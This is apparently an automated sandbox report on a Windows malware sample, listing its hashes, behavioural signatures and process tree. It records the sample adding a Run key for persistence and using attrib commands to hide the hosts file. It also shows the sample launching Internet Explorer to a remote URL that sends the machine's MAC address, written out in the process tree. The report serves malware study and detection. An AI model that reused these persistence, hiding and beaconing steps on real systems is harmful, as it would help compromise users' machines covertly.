Analysis
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max time kernel
17s -
max time network
146s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
31/12/2023, 02:22
Static task
static1
Behavioral task
behavioral1
Sample
24580acb3741ce746e97741dac9984d2.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
24580acb3741ce746e97741dac9984d2.exe
Resource
win10v2004-20231215-en
General
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Target
24580acb3741ce746e97741dac9984d2.exe
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Size
504KB
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MD5
24580acb3741ce746e97741dac9984d2
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SHA1
f433c2d4fe79afba2d92fcd28b50ddb02a903711
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SHA256
e0a67a922e431a8e75d113a8583da96032f885eb0de4ff8e88752d30f33c3a5d
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SHA512
763228ae822e2cd31719e5e6cdf66468dfdfb2976e5d7489234018f08f23e7f6dfcbc1e3b6f80c9d549b71ce77cb9f95b95b11bb5cab0c815f55bd82e1d62a74
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SSDEEP
12288:7vW1Ezzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz4:7e1Ezzzzzzzzzzzzzzzzzzzzzzzzzzzs
Malware Config
Signatures
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Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run 24580acb3741ce746e97741dac9984d2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\qq100000 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\24580acb3741ce746e97741dac9984d2.exe" 24580acb3741ce746e97741dac9984d2.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts 24580acb3741ce746e97741dac9984d2.exe -
Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
pid Process 2704 attrib.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{9B9B0A31-AB84-11EE-8221-D669B05BD432} = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 3048 24580acb3741ce746e97741dac9984d2.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2728 iexplore.exe 2728 iexplore.exe -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 3048 wrote to memory of 2128 3048 24580acb3741ce746e97741dac9984d2.exe 25 PID 3048 wrote to memory of 2128 3048 24580acb3741ce746e97741dac9984d2.exe 25 PID 3048 wrote to memory of 2128 3048 24580acb3741ce746e97741dac9984d2.exe 25 PID 3048 wrote to memory of 2128 3048 24580acb3741ce746e97741dac9984d2.exe 25 PID 3048 wrote to memory of 2704 3048 24580acb3741ce746e97741dac9984d2.exe 31 PID 3048 wrote to memory of 2704 3048 24580acb3741ce746e97741dac9984d2.exe 31 PID 3048 wrote to memory of 2704 3048 24580acb3741ce746e97741dac9984d2.exe 31 PID 3048 wrote to memory of 2704 3048 24580acb3741ce746e97741dac9984d2.exe 31 PID 3048 wrote to memory of 2728 3048 24580acb3741ce746e97741dac9984d2.exe 34 PID 3048 wrote to memory of 2728 3048 24580acb3741ce746e97741dac9984d2.exe 34 PID 3048 wrote to memory of 2728 3048 24580acb3741ce746e97741dac9984d2.exe 34 PID 3048 wrote to memory of 2728 3048 24580acb3741ce746e97741dac9984d2.exe 34 PID 2728 wrote to memory of 2780 2728 iexplore.exe 33 PID 2728 wrote to memory of 2780 2728 iexplore.exe 33 PID 2728 wrote to memory of 2780 2728 iexplore.exe 33 PID 2728 wrote to memory of 2780 2728 iexplore.exe 33 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 2128 attrib.exe 2704 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\24580acb3741ce746e97741dac9984d2.exe"C:\Users\Admin\AppData\Local\Temp\24580acb3741ce746e97741dac9984d2.exe"1⤵
- Adds policy Run key to start application
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3048 -
C:\Windows\SysWOW64\attrib.exeattrib -s -h "C:\Windows\system32\drivers\etc\hosts"2⤵
- Views/modifies file attributes
PID:2128
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C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\Windows\system32\drivers\etc\hosts"2⤵
- Sets file to hidden
- Views/modifies file attributes
PID:2704
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C:\program files\internet explorer\iexplore.exe"C:\program files\internet explorer\iexplore.exe" "http://www.2009qqvip.com/qqsj/install.asp?ver=090106&tgid=huan&address=D6-69-B0-5B-D4-32®k=1&flag=ffd35871cc6e5d1e431bcfda2118eb1e&frandom=5793"2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2728
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C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2728 CREDAT:275457 /prefetch:21⤵PID:2780